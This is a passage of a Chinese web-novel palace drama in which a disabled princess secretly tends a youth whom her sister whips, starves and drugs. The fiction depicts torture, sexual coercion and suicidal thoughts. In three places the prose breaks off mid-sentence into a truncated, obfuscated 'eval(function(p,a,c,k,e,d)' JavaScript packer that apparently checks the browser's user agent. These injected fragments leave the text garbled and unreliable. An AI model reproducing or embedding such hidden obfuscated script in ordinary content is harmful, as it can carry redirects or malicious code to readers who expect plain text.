“儿臣给父皇请安。还望父皇宽恕儿臣不能起身行礼之罪。” 上次见到皇帝,还是在姜皇后的病榻前。不过几月而已,薛筠意竟有种恍如隔世之感。 皇帝……似乎苍老了许多。不过,自然不是因为皇后病逝的缘故。近日琅州大旱,百姓们颗粒无收,不得不上街乞讨,山匪趁机作乱,烧杀抢掠,闹得人心惶惶。此番灾情凶险,比十几年前那场旱灾还要严重,日日都有数不清的折子递上来,将御书房的桌案堆得满满当当。 她看着皇帝眼下的乌青,还有下颌上青色的胡茬,问:“父皇有事?” 皇帝看了眼薛筠意身上简素的罗裙,不悦地压下了眉头。 “下月便是清芷的册封大典了,阖宫里哪儿不是往喜庆了装扮?你倒好,日日穿一身白,生怕不够晦气!” 薛筠意笑:“父皇为人夫君,不为发妻带孝,就不怕天下百姓议论,说父皇是不仁不义之君么?” 墨楹心惊胆战,宫婢们乌泱泱跪了一地,皆是屏气吞声,就连李福忠都不由抹了把汗。 皇帝沉着嗓,冷冷道:“皇后只是病着,何来带孝一说。” 皇帝的视线锐利地扫过薛筠意身下的轮椅,有时他甚至有些庆幸,幸好薛筠意的腿残废了,否则他毫不怀疑,薛筠意一定会想尽办法逃出宫去,把姜皇后的死讯告诉她那远在寒州的舅舅。 薛筠意也不与他争辩什么,只安静地看着他。 皇帝默了片刻,语气缓和了些:“朕听说你从清芷那儿讨了支步摇去。清芷最喜欢珍珠,你不是不知道,怎么非要拣她喜欢的东西要呢?那步摇上的珍珠不好寻,统共也就那么十六颗。” 顿了顿,皇帝命令道:“你叫人给清芷还回去,玉珍局的首饰,任你挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李福忠忙不迭地跟上去,临出殿门时,他忍不住回头看了薛筠意一眼,暗自叹气,长公主这又是何必呢。 待皇帝的脚步声彻底消失在殿外,墨楹才站起身,小声劝道:“殿下,您这样,只会让陛下更加疏远您啊。” 薛筠意重又提笔,重重描出一笔漆黑墨色。 “研墨。” 墨楹心知多说无用,只得默默闭了嘴。 傍晚时分,雨总算是小了些。凝华宫来了人传话,说薛清芷愿意把流雪给薛筠意,请她下次来作画时,将那支步摇带上。 看窗外天色,大约是要放晴了。 薛筠意吩咐墨楹去她的妆台上把步摇取出来,忽而想起一事,又将墨楹叫住。 “之前吴院判给的凝寒丸,可还有剩?” 新岁那夜,京都落了场大雪,她不小心受了凉,烧了一整晚也不见好,多亏了吴院判拿来的凝寒丸,只一粒便让她退了烧热。 墨楹想了想:“应该还剩下些。殿下问这个做什么?可是身上不舒服?” “无事。你先去取来吧。” 这两日下着雨,湿寒气重,邬琅的病难免会好得慢些。若是还烧着,可就不好了。这药……或许能用得上。 墨楹依言将薛筠意要的东西寻了出来,连同装药的白玉瓶一起,交到薛筠意手中。 凝寒丸珍贵,且药性特殊,必得用上好的冷玉做器皿盛放保存。薛筠意摩挲着指间清冷玉色,不觉又想起初见邬琅时少年那双颤颤的,碎玉般的眼。 “安歇吧。”她不愿再想,将玉瓶放下,吩咐墨楹推她去床边。 翌日,雨果然停了。天将破晓,晨光透亮,清湛天幕上横斜一道绮丽虹霞。薛筠意一出殿门便闻到了雨后好闻的草木香气,心情也随之好了不少。 她如约带着那支玉蝴蝶珍珠步摇来到了凝华宫,薛清芷一面接过,一面阴阳怪气道:“本来没想着问皇姐要回来的,不过随口在父皇面前提了几句,哪知父皇竟亲自去了皇姐宫里。还望皇姐莫要怪罪妹妹。” 薛筠意笑了下:“无妨。妹妹把流雪还给我便是了。” 她故意在“还”字上咬得重了些,薛清芷想起昨日李福忠来传话时话里含糊的意思,才想起流雪便是当初她一时兴起向皇帝讨来的,姜皇后的那匹爱马。 怪不得薛筠意要她拿这头畜牲来换呢。 薛清芷嗤了声,心道薛筠意跟姜皇后一样,都是一根筋的蠢东西,一头畜牲而已,她们母女俩却当宝贝似的。 她面上不显,只微笑着坐下来,让薛筠意继续作画。 薛筠意一面铺开画纸,一面不经意地往薛清芷身旁看了几眼。今日服侍薛清芷的那四名面首,除了解安,都是生面孔。 没有邬琅。 不知为何,薛筠意心中隐隐有种不好的预感。 一个时辰很快过去,画差不多已完成了大半。薛清芷笑盈盈站起身来,装模做样地道了声:“皇姐辛苦了。” “我身子乏了,就不送皇姐了。”她随意指了指身后的解安,懒洋洋笑着,“就让解安带皇姐去牵流雪吧。他嗓子好听,路上也能给皇姐解解闷。” 解安恭敬上前,朝薛筠意行了一礼。 “殿下,这边请。” 出了寝殿,墨楹推着轮椅跟在解安身后,往马厩行去。 薛筠意见四周无人,便出声喊住了走在前头的解安:“解公子。” 解安受宠若惊地回过头:“殿、殿下有何吩咐?” “今日怎么没看见邬琅?”薛筠意问。 解安犹豫了下,支支吾吾道:“他、他病着,不能伺候公主,所以未能入殿服侍。” 薛筠意皱眉道:“他病得重吗?二公主可给他吃过药了?” 她那时瞧着,邬琅的脸都烧红了,薛清芷不可能看不出来他身子不适。 说话间,几人已行至马厩前,解安上前去解流雪的缰绳,眼神飘忽地往一旁的马棚里瞟了几眼,吞吞吐吐了好半晌,才小声道:“二公主不知道他病着……前日他不知犯了什么错,惹得二公主动了好大的火气,把他关进刑房里教训了两三个时辰才放出来,人都快没气了。我昨晚悄悄去看了一眼,他身上全是血,额头烫得跟火炉一样,也不知能不能熬过今日……” 13. 第十三章 解安的声音越来越小。 薛筠意只觉一阵头晕目眩—— 什么叫不知道他病着? 人都烧成那个样子了,薛清芷不仅没有给他医病,还要寻着他的错处责罚他? “邬琅在哪儿?” 于理,邬琅是凝华宫的人,不该由她来管。可她总不能眼睁睁看着邬琅没了性命。 解安犹豫了下,小心翼翼地指了指角落里的马棚。 薛筠意顺着他手指的方向看去,几乎难以相信自己的眼睛。那样破烂的地方,竟是给人住的? 她神色复杂地盯着马棚周围那些凌乱搭起的木板,半晌,终是深深沉下一口气,从怀里取出装着凝寒丸的白玉瓶,递给解安。 “劳烦解公子,把这药给他服下。一粒便可。” 解安慌忙撇下流雪,小跑着上前躬身接过,惶恐道:“殿下随意吩咐便是,无需、无需这样客气。” 薛筠意道:“本宫知道解公子是读书人,不得已才走了这条路。你父亲写的那篇《开国论》,是本宫初学国策的启蒙,也算是本宫的半个先生。” 解安眨了眨眼,回过神后,不免有些激动。 没想到长公主竟然认得他这样的无名之辈。 “解安替家父谢过殿下夸奖。”解安红着脸,说话都有些结巴,“殿下在此稍候,我、我很快就出来。” 他是解家最不起眼的庶子,家中子女多,父亲时常顾不上他,他也没什么大志向,只想着做个嘴皮子利索的说书先生,靠自己的本事挣口饭吃。可母亲却不满足于此,非要让他出人头地不可。既然解家指望不上,便只能指望他这张还算不错的脸,若是能攀上薛清芷这把青云梯,还愁日后不能官途坦荡吗? 解安是不想做这样丢读书人脸面的事,可拗不过母亲以死相逼,只得自荐枕席。好在他这把嗓子得了薛清芷的喜欢,如愿留在了薛清芷身边,平日里为她读读话本子,念念诗文,日子过得倒也还算顺当。 起初解安以为,这位二公主只是性子娇纵了些,并不像宫外传言的那般跋扈。 直到那个叫邬琅的少年被送进了凝华宫。 饶是解安与邬琅素不相识,也实在不忍心看着邬琅日日受尽折磨羞辱,他攥紧了手中的玉瓶,暗想还好长公主心善,否则邬琅这次,怕是真要挨不过去了。 解安轻手轻脚地走进马棚,来到木床边,晃了晃邬琅的胳膊。 “醒醒,起来吃药。” 药。 这个熟悉的字眼令邬琅下意识蜷缩起来,抗拒地咬住了苍白的唇瓣。 他不想再喝那些折磨人的药了。 喝了药,他很快就会失去自己的意识,成为一条只会发.情的狗,毫无尊严地伏在薛清芷脚下求.欢。 药味萦绕在鼻尖,仿佛驱不散的恶鬼,狰狞地扼着他的鼻息,邬琅模糊的意识中,突然生出一个从未有过的念头。 或许死亡才是他最好的解脱。 人死了,便再也不会疼,不会累。 这世上根本就没有人在乎他,他如此辛苦地想要活下去,究竟是为了什么? 邬琅闭着眼,沉默地侧过身去。他很冷,很困。他不想吃那些可怕的药,只想沉沉地睡一觉,最好,能在睡梦中平静地死去。 解安无奈,只得回来禀告薛筠意。 “殿下,他不肯吃,不知道是不是烧糊涂了,我唤他,他也不应。” 薛筠意默了片刻,接过解安递还给她的白玉瓶,吩咐身后的墨楹:“推本宫进去。” 墨楹犹豫了下,劝道:“殿下,那里头脏得很,您还是别去了。” 薛筠意素日最爱干净,那间马棚一看便是许久无人打扫过,周围还堆着泔水马粪,她隔着老远都能闻到熏人的臭味。 薛筠意只淡声道:“无碍。” 墨楹自知拗不过她,只得走上前去,先将几扇挡路的门板挪开了些,然后才小心地推着薛筠意往里走。 空气中弥散着潮湿的霉味。几缕薄淡的日光顺着木板的缝隙挤进来,在邬琅血迹斑斑的衣衫上落下昏昧的影。 薛筠意掩着鼻,蹙眉看向木床上那奄奄一息的清瘦少年。他背对着她侧躺着,露出一面鞭痕交错的脊背,雪白的薄纱被抽得破烂如抹布,浸饱了殷红的血,再看不出原本的颜色。 薛筠意感觉心脏随着呼吸的起伏,轻轻地抽痛了一下。她不忍多看,将一粒凝寒丸倒在掌心,轻声唤道:“邬琅。” 床上的人似乎动了下,却并无回应。 薛筠意耐心地问:“你可有力气起身?总要先吃了药,才能好得快些。” 邬琅睁开了眼睛。有那么一瞬间,他几乎怀疑自己出现了幻觉。他忍着骨裂般的痛楚,慢腾腾地挪动身子,转过脸来。 素白绢花落进他如死水般沉寂的眼中,溅开朦胧的涟漪,邬琅怔愣一瞬,乌眸微微睁大,视线上移,映入眼帘的是一张清丽温柔的芙蓉面。 长、长公主? 脑中轰地一声,他顾不得身上的伤,跌跌撞撞地下了床,低着头跪在薛筠意面前,哑声道:“贱奴给长公主请安。” 少年一连串慌乱的动作令薛筠意眉头紧皱,她分明还没说什么,他怎么就吓成了这般模样? 薛筠意叹了口气,温声问:“还烧不烧?身上难不难受?” 邬琅有些懵,黑眸中浮现出惶然困惑的神色。长公主出现在他这间破烂的马棚里已经让他觉得像是在做梦一般,不仅如此,她竟然还用那样温柔的语调关心着他的身子。 见邬琅呆呆地望着自己,薛筠意有些无奈,她倾身向前,伸出手,想要探一探邬琅额头的温度。 熟悉的阴影朝脸上落下来,邬琅本能地偏过脸,想逃避即将到来的疼痛。 薛筠意的手僵在半空。她不明白发生了何事,可她无意轻蹙的眉心却让邬琅害怕地瑟缩了下,不过一息的功夫,少年已经乖乖将半边脸送了回来,颤抖着迎上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他被教了太多遍,也被罚了太多遍,一举一动,完全是出于骨子里的畏惧,薛筠意被少年突如其来的举动惊住,她低头看着指尖上那抹湿漉漉的水痕,心头浮起异样的感觉。 少年的舌头很软,小猫似的。温热的呼吸克制地落在她的指背上,又痒……又舒服。 她一时有些无措,十分不自在地偏过脸,向墨楹要了帕子,将手上擦拭干净。 邬琅眼眸暗了暗,是了,长公主定然是嫌弃他肮脏又下贱,他怎么能未经长公主的允许就擅自为她清理呢? 他像个做错了事的孩子般低垂着头,惶恐不安地等了许久,想象中的责骂却没有到来。 薛筠意折起帕子,用另一面拭去他唇角脏污的血渍。邬琅心跳蓦地加快,呼吸慌乱间,他感觉到薛筠意的手轻轻抚过他红肿不堪的脸颊,声音温柔得像在他心头落了场潮湿的春雨。 “还疼吗?” 14. 第十四章 薛清芷将邬琅磋磨成这副模样,又把他丢在这马棚里不管不问,定然不会好心地给他治伤止痛的药。这种程度的伤,若是疼起来,只怕比受刑还要难挨。 她倒是可以命人去太医院取了药来拿给邬琅,可邬琅毕竟是薛清芷的人。她很了解薛清芷的性子,自幼娇宠惯了的小公主,对自己所拥有的一切有着近乎偏执的占有欲,最厌旁人动她的东西。她若是帮了邬琅太多,反而会让邬琅日后在凝华宫中的处境愈发不利。 薛筠意细眉轻蹙,眼中有淡淡的愁绪。 “贱奴……不疼的。”邬琅低声回话。 从未有人问过他疼不疼。 好像他生来下贱,活该受着痛,一切都是他应得的,他不该有任何怨言,只需无声地承受,所以他从不敢说疼,因为那样只会为他招来更加严厉的惩罚。 空气静默了片刻。邬琅感觉到那只细腻温柔的手离开了他满是不堪痕迹的脸颊,心下有些许失落。 “本宫不便在此久留。这药你留着,若是明日还未退烧,便再服一颗。”薛筠意把白玉瓶递到他手里。 邬琅受宠若惊地接过,祈祷着薛筠意没有看到他被铁尺抽烂的掌心,紫黑淤痕里渗着血,蹭花了冷白无瑕的玉。他迅速合拢手心,不敢再多看薛筠意一眼,规矩地磕头,谢恩。 “贱奴恭送长公主。” 轮椅行远了,那股淡淡的草药幽香也随之消失了。 邬琅揉了揉红肿的膝盖,扶着床站起身,缓缓地坐下来。他用衣袖仔细地将那只精巧的白玉瓶擦得干干净净,再小心地藏到枕下,和那朵绢花放在一处。待缓过几分力气后,他面无表情地拿起床头小桌上的旧碗,闭上眼,大口大口地喝着里面的馊粥。 大约是不想让他饿死,薛清芷每日都会命人送一碗馊粥过来。这两日他昏睡着,恍惚间已生了求死的念头,自是滴水未进,可眼下,他忽然迫切地想活下去,这念头如此强烈,以至于碗中酸臭刺鼻的米粥好像都没有那么难以下咽了。 长公主赐了他药。 长公主要他活下去。 哪怕这只是她随手的施舍,于邬琅而言,已是他冷寂无望的人生里,全部的光亮。 他不能辜负。 * 离开马棚后,解安帮忙牵着流雪,一直将薛筠意送到宫门口。 “本宫不便插手凝华宫中之事,还望解公子若得方便,能照顾他一二。”薛筠意想了想,还是开了口。 她虽然给了邬琅退热的药,但他身上还带着那么多伤,最好还是有人照看着。 解安连忙应下来。 “殿下,您为何……要帮那邬家二公子?”回青梧宫的路上,墨楹终是忍不住问道。那少年是很可怜,可终究是薛清芷宫里的人,她的人,自个儿不好好养着,反倒要让殿下来替她照拂,一想到这一层,墨楹心里便不大舒服。 薛筠意垂眸盯着指尖,良久,才轻声道:“众生皆苦,救一条性命,总归不是坏事。就当是,为自己积德吧。” 她默了默,看向自己无知无觉的双腿。母后在世时常教导她,她贵为长公主,自应心怀天下,悲悯苍生,可如今,她连邬琅都救不了,又何谈天下苍生? 皇帝偏心,宫中人尽皆知。因着江贵妃的缘故,薛清芷自出生起便被皇帝捧在手心里,她看上的东西,谁都碰不得。她一向懒得与薛清芷争抢,可这些年来,她处处隐忍退让,又换来了什么呢? 母后含恨而终,她身子落了残疾,往后余生,都只能依靠身下的轮椅而活。 薛筠意攥紧指尖,膝上平整的缎面被扯出褶痕,她久久地沉默着,心中忽而浮现出一个许久不曾有过的念头。 她不想再做个只能幽居深宫寂寂度日的公主,双眼所见,唯有四面高耸的宫墙,困了母后一生,也终将困她一生。 她要做皇太女,坐上那万人之巅的高位,要像母后所期盼的那样,救她自己,也救苍生万民。 双腿残废又如何?她会用她的本事让皇帝知道,她才是最合适的继位人选。 想必母后在天有灵,也不愿看着她就这般颓废下去,一日日地虚度光阴。 宫道宽阔,前路明朗。 她抬起头,望着远处隐没在宫墙外的山尖和云霞,日光落在她眼中,将那双沉静的眸子映得清亮又坚定。 一回到寝殿,薛筠意便吩咐墨楹去书房,把她去年看过的那套琅州志拿来。 墨楹愣了愣,回过神后,忙欣喜地应了声是。 薛筠意曾经很喜欢研读地方志,常常把自己关在书房,一读便是深夜。可自从落了腿疾后,薛筠意好像对一切都失了兴致,不仅不再去书房,还吩咐宫婢把她曾看过的书册、写过的批注,都收进箱子里锁起来。 难得她主动开口,墨楹唇角笑容藏都藏不住,干活都有了奔头,很快就把薛筠意要的东西拿到了寝殿。 琅州志统共三卷,共计三千余页,每一页薛筠意都细细读过。她年幼时随林相读书,常听林相提起,琅州苦于干旱多年,每隔几年便要大旱一场。她心中记挂,便央求林相为她寻来了这套琅州志,想着若是能从中寻到些治理旱灾的法子,也算是为琅州的百姓做了件善事。 发黄的书页间,还夹着一纸薛筠意亲手描绘的琅州舆图。舆图事关朝政机密,她只在皇帝的御书房中偶然见过一次,大约是从小习画的缘故,那些毫无规律的线条,她只看一遍便能过目不忘,事后描摹下来,几乎能以假乱真。 那时她年纪还小,天真地将画好的舆图拿去给林相看,林相震惊不已,先是夸赞她天资聪颖,堪称盖世之才,然后才低声叮嘱她,此事莫要让皇帝知晓。 公主涉政,可不是件小事。 如今想起这些,似乎已经是很多年前的事了。薛筠意敛起思绪,将那张发皱的舆图在长案上一点点地抚平,对着她昔日亲笔写下的批注,重又读起琅州志来。 见她读得认真,墨楹喜上眉梢,悄悄吩咐一旁服侍的宫婢都退下,莫要惊扰了薛筠意。她则轻手轻脚地去了小厨房,吩咐几个厨娘炖些排骨汤,给薛筠意补补身子。 殿中静悄悄的。薛筠意太过专注,以至于完全没听见院子里的脚步声,直至一道温润的嗓音在桌案前响起。 “没见着你宫里的宫人,本宫没叫人传话就进来了。”江贵妃犹豫了下,歉然道,“是本宫唐突了。” 薛筠意默了一息,从容地将舆图收好,抬头迎上江贵妃的目光。 “怎会。娘娘是稀客,我该好生招待娘娘才是。” 墨楹端着新沏的清茶进来,见江贵妃站在殿中,吃惊地瞪圆了眼睛。薛筠意侧首吩咐:“墨楹,去上些贵妃娘娘喜欢的茶点来。” “不必了。本宫……只是今日得闲,过来看看你。”江贵妃抿唇,目光落在薛筠意的腿上。 薛筠意笑了下:“我很好。多谢贵妃娘娘记挂。” 江贵妃今日穿了件朴素的苏绣织花裙,颜色是淡雅的月白,袖口用银线绣着兰,纤纤柔柔地站在那儿。 她与姜皇后是截然不同的女子。一个是温婉娇柔的玉莲,一个是凌寒独放的红梅,皇帝有多厌恶姜皇后,便有多喜欢江贵妃。如今皇帝下令严守皇后死讯,更不许宫人服丧祭奠,唯有江贵妃能着素衣,皇帝见了,不仅不会动怒,还要端着笑脸哄一句,她穿白衣极美,比天上的月还要美上三分。 薛筠意垂下眼,不去看江贵妃身上刺目的白。宫婢搬来矮凳,江贵妃没有坐,只是不安地望着薛筠意,半晌,才低低地开口:“是本宫对不住你。” 是她害得帝后生了嫌隙,是她生出了个心肠歹毒的女儿,竟敢给亲姐姐下药。 自姜皇后病逝,她一直没脸来见薛筠意。昨日听皇帝说起,才知薛清芷竟为着一支步摇求到了皇帝跟前,皇帝为此不免又将薛筠意好一顿数落,还当着几个前来禀事的大臣的面,怒斥薛筠意不孝。 江贵妃思量再三,终究还是鼓足了勇气,带着一早便备好的东西,来了青梧宫。 “这些药你留着罢。也不知……能不能对你有些用处。”她顿了顿,声音又轻了几分,“清芷性子顽劣,做出这样的事来,皆是本宫教养不善之故。你若要怨,便怨本宫吧。” “怨有何用。”薛筠意语气平静,“事是她自个儿做的,她尚且无悔过之心,娘娘又何必替她道歉。” 江贵妃脸色青白,几番欲言又止,到底还是将那些苍白的话尽数咽回了肚子里,只轻声道:“若有什么本宫能帮得上的,你尽管向本宫开口。” 薛筠意笑笑:“娘娘慢走,我身子不便,就不送娘娘了。” 这便是下了逐客令了。 江贵妃眼眸暗了暗,没再多言,沉默地转过身,搭着侍女采秋的手朝殿外走去。 墨楹追上来,身后跟着两个抬箱子的小太监,“娘娘,这些药材实在贵重,殿下收受不起,您还是带回去吧。” 江贵妃叹了口气:“也罢。” 她登上步辇,微闭着眼,疲惫地揉了揉眉心,采秋走在一旁低声安抚着:“娘娘无需自责,这并非您的过错。” 江贵妃自嘲地笑了笑:“怎会不是本宫的过错?本宫当初就不该生下她。” 顾着还有几名抬轿的侍卫在,她低了嗓,用只有她和采秋二人能听到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此刻服侍她的人十分卖力,时不时溢出几声难耐的闷哼。 “阿萧好喜欢公主……” 薛清芷眸色一冷,恹恹地松开手。阿萧动作一滞,忙爬起身来,小心问道:“可是阿萧哪里伺候得不周到?” 薛清芷拿起帕子擦了擦手,漫不经心地问:“邬琅呢?歇了好几日了,身子也该好了吧。怎么不见他过来伺候?” 阿萧吞咽了下,含糊道:“许是、许是想躲懒吧。” 他握住薛清芷的手腕,痴迷而依恋地往她肩上贴去,“还是让阿萧来服侍公主吧……” 薛清芷一把打开他的手,冷斥道:“下去。” 阿萧舔了舔唇,只好应了声是,拿起枕边的衣裳,慢吞吞地往身上穿。 “青黛。”薛清芷已经转过脸,扬声吩咐,“去把邬琅带来。” “是。” 不多时,外间便传来了熟悉的铁链声。邬琅膝行着上前,磕头行礼:“贱奴给公主请安。” 少年的声音哑得厉害。薛清芷皱起眉,看着邬琅脊背上那些纱衣掩不住的溃烂伤口,不悦道:“本宫不是赏你药了吗?怎么还是这副破烂样子?” 那药极为灵验,虽然不能止痛,却能让皮肉恢复如初,无论多重的伤,都不会留下疤痕。这么漂亮的身子若是落了疤,实在可惜。 邬琅一怔,除了长公主,根本就没人给他送过药,他默了默,不想辩解什么,只是麻木地将头磕在坚硬的地板上,“贱奴知错。” “罢了。青黛,去叫个太医过来,给他看看伤。”薛清芷一脸嫌恶。那伤处还流着脓,丑陋极了,真是平白扫了她的兴致。 太医周景林很快赶来,见了邬琅身上的伤,惊得胡须都颤了颤。他瞟了眼坐在一旁满脸不耐烦的薛清芷,并不敢多问什么,赶紧低头忙活起来。无意瞥见邬琅微微泛红的双颊,他犹豫了下,试探着把上了邬琅的脉息。 “怎么了?”薛清芷瞥过来。 周景林皱着眉,半晌才缩回手,如实禀道:“这位……公子,高热之症有些严重,从脉象来看,已经烧了有两日了,致使气息郁结,肝火燥旺。如今虽有所缓解,但还需服药静养,否则,他的身子怕是吃不消啊。” 薛清芷只觉荒唐:“周太医,你莫不是诊错了脉?他日日在本宫眼前,若起了烧热,本宫怎会不知?” 她沉下脸,正欲斥责周景林胡言乱语,话到嘴边,忽而想起那日在床笫间,少年身上那惊异的滚烫。 薛清芷微微一怔。 怪不得那时邬琅摸起来那么……舒服。她本以为是喝了那催.情药的缘故,如今想来,只怕那会儿他就已经烧得意识不清了。 薛清芷不可置信地看向跪在脚边的少年,后怕地惊出了一身的冷汗,她此刻才意识到,她险些让邬琅没了性命。 心头顿时涌起一股无名火,薛清芷嘴唇发抖,抬手便是重重一耳光扇在邬琅脸上。 “你是哑巴吗?都烧成那样了,为何不告诉本宫?” 15. 第十五章 掌风落在那瓣被红檀戒尺抽得软烂的颊肉上,再添几道鲜艳的红印,几缕墨发无声散落,拂过少年青紫的唇角,瞧着好不可怜。 周景林还是头一次见到薛清芷发火,生怕连累自己,吓得慌忙跪地,耷拉着脑袋惴惴不敢言语。 殿中安静了片刻,只能听见少年轻轻的抽气声。邬琅皱了下眉,很快便自觉地将脸摆正,清冷乌眸中辨不出任何情绪。 “请公主罚。” 告诉她又能如何?她会好心地放过他,大发慈悲地让他回去歇息吗? 怎么可能呢。 烧得厉害的身子,于薛清芷而言,只会是更有趣味的玩具,那么柔弱,那么滚烫,不是正好任她磋磨摆弄吗? 见邬琅一副麻木认罚的模样,薛清芷气得眼眶发红,她越想越后怕,若那日邬琅真死在了她的床榻上,只怕她这辈子都要活在梦魇之中。 她沉着脸,吩咐周景林开一道退热的方子,又命青黛亲自跟着他去抓药。 周景林汗流浃背地退下了。 解安端着茶点进来,远远望见邬琅跪在那儿,脚步不由一顿。薛清芷脸色阴沉,不知又在对邬琅发什么火,他犹豫了下,还是壮着胆子走了过去,想为邬琅求几句情。 “公主,解安知道他惹了您不高兴,您罚他自是应当的,可、可您总要顾着些他的性命呀。您不给他药,又只许他吃馊饭,再强健的身子也熬不过去的。” 解安低着头,小声道,“解安斗胆请求公主,看在他生病的份上,许他歇息几日,待病好些,再来伺候公主。” 解安向来胆子小,平日里除了奉命为她读读话本,私下连话都不敢对她说几句,这还是薛清芷头一次听见解安一口气说这么多话。她不由皱了眉,语气有些不悦:“你在胡说些什么?” 她是重罚了邬琅,可药和吃食,她哪样少了他的?为着不让他身上落疤,送去治伤的药膏,都是她自个儿用的最金贵的药。至于吃食,每日一碗清粥,足以让他果腹,又能养得一把纤腰,更耐把玩。怎么到了解安口中,反倒成了她虐.待邬琅一般? “本宫怎么可能……” 话说了一半,薛清芷忽而一顿。她隐约记起,给邬琅送药和吃食的差事,是阿萧自告奋勇揽下的。不过一件小事,谁办都是一样,她便由着阿萧去了,事后也未留心过问。 薛清芷狐疑地瞥了阿萧一眼。 阿萧眼神躲闪,含糊解释道:“许是、许是天气热,粥放得久了,难免会发馊……” “那药呢?” “药……”阿萧顿了顿,脸上端着笑,“阿萧不小心弄丢了。不过一个贱奴而已,哪里用得着那么金贵的药。” 薛清芷登时怒不可遏。 “你胆子可真大,连本宫交给你的差事都敢敷衍糊弄!” 阿萧抿起唇,神情有些落寞,“公主有阿萧一人服侍就够了。阿萧不愿公主心里惦记着旁人……” 话音未落,脸上早挨了清脆的一耳光,阿萧捂着脸,怔了好半晌才缓过神来,眼中满是不可置信。 公主竟然打了他! “本宫如何待他是本宫的事。你算什么东西?”薛清芷冷笑,“本宫最讨厌阳奉阴违之人。你和那些宫人一样,都是伺候本宫的奴才而已,别以为本宫给你几分笑脸,你就可以无法无天了!” 阿萧呆怔着,眼泪瞬间委屈地盈满了眼眶:“公主……” “来人,去小厨房打一碗隔夜的馊粥,让他也尝尝滋味!”薛清芷怒声命令。 侍卫很快进来,一手端着粥碗,一手掰开阿萧的牙齿,粗.暴地往里灌。阿萧痛苦地挣扎着,止不住地干呕,那股馊味实在太过难闻,解安都忍不住悄悄捏紧了鼻子。 邬琅沉默地跪在一旁,长公主的药很灵,他昨夜便退了烧,只是夜里风凉,今早起来又有些反复。身上仍旧没什么力气,到处都痛得厉害,他只能掐着紫黑溃烂的手心,才能勉强支撑着自己跪稳。至于阿萧做的那些事,他根本没有心力去想,也懒得计较。 此刻他的心里,只有一个念头—— 那便是活下去。 不为自己,也要为那位救了他性命的长公主。 邬琅低着头,脑海中不觉又浮现出长公主温柔的脸庞,还有那双神灵般慈悲的眼睛,她指尖带着香气,像药,抚过他受伤的脸颊,令他胆怯地不敢呼吸,不敢亵渎。 他还会再见到长公主吗? 邬琅犹豫地想。他如今的模样很丑,身上更是难看,还是……莫要脏了长公主的眼睛吧。 虽然他很想再被长公主温柔地抚摸,额头、脸颊……哪里都好。只一瞬就好。他不敢过多奢求的。 忽地,一阵带着怒的脚步声打断了邬琅的思绪。 “薛清芷,你发什么疯!”江贵妃才进殿,便被眼前的一幕气得险些昏厥,“你知不知道他是萧尚书家的公子?你怎么能把他当奴才一样打骂!” 采秋赶忙上前,让那两名压着阿萧的侍卫松了手,阿萧面色惨白,连行礼都顾不上了,只能扶着地,大口大口地呕着嘴里的秽物。 薛清芷蓦地站起身来,神色有些不安:“母妃,您怎么过来了?” 除了她的生辰,江贵妃鲜少踏足凝华宫,只有偶尔过节之时,才会勉为其难地陪着皇帝来坐坐。 “本宫今日若不过来,怎知你日日在宫里就干这样的勾当?” 看着跪在一旁的邬琅和解安,想起方才路上遇见的那几名俊俏的美少年,江贵妃只觉眼前一阵晕眩。她原以为薛清芷顶多是贪玩了些,哪知她竟会沉溺于这等淫.靡放荡的风月之事。 薛清芷支支吾吾地:“母妃误会了,儿臣只是觉得宫里冷清,想热闹些,所以叫他们陪着儿臣而已。” 江贵妃深深压下一口气:“你宫里这些腌臜事,本宫不想过问。只一件事——你必须去向长公主道歉。你把长公主害到那般地步,却丝毫不觉愧疚,整日寻欢作乐,好不惬意,天底下哪有这样的道理!你的良知呢?先生教你读的那些书,都读到哪里去了?” 起初江贵妃尚能冷静,可越说心里越气,她恨恨咬着牙,语调骤然高昂:“本宫怎么就生出了你这么一个蛇蝎心肠的女儿!” 薛清芷怔了怔,眼里不争气地泛出了泪花。江贵妃难得来她宫里,她还没来得及高兴,就挨了一通骂。 她凭什么要向薛筠意道歉?是薛筠意自己没本事中了她的招。成王败寇,江贵妃该夸她才是。 更何况,父皇都没有因为此事而教训她,只说她是性情率真,一时顽劣,才做了错事,何必过分苛责。 她想张口为自己辩解几句,江贵妃却好像一眼都不愿再多看她似的,恨铁不成钢地摇了摇头,转身便往外走。采秋急忙跟了上去,低声说着劝慰的话。 薛清芷跌坐回榻上,眼泪大颗大颗地往外涌。她不明白江贵妃为何不喜欢她,连亲自抚养她长大都不愿意。她是皇帝最宠爱的公主,母妃却视她如陌生人,所以她撒娇使性,娇纵跋扈,一遍遍自欺欺人地安慰着自己,母妃也是宠她的,所以才会对她这般纵容。 她恨薛筠意,不仅因为薛筠意样样都胜过她,更因为薛筠意有一个那样疼爱她的母后。姜皇后会带着薛筠意去骑马,去御花园摘梅酿酒,会陪着她在长长的宫道上奔跑起来,放飞她们一起扎的纸鸢。 那是她永远得不到的东西。 薛清芷怔怔地流泪,嫉妒和不甘在胸腔内燃烧,滚沸着,叫嚣着,她终于尖叫起来,用力将手边的茶盏拂落在地。 滚烫的茶水泼溅了邬琅一身,邬琅身子颤了颤,本能地想往后躲,薛清芷陡然转过脸,双目赤红地掐住邬琅的下颌骨,几乎要捏出碎裂的脆响。 “都是你这个贱种惹出来的好事!若不是你受伤生病,本宫今日便不会罚阿萧,母妃就不会对本宫发这么大的脾气……一身贱皮子,倒是娇气得不得了!” 她一边胡乱骂着,一边就要往邬琅脸上扇去,可那两瓣可怜的肉早就被戒尺罚得没一块好地方了,再看少年身上,更是伤痕累累,惨不忍睹。 “公主,这药……”青黛踌躇着站在门口,手里端着刚煎好的药,一时进也不是,退也不是。 “倒了。” 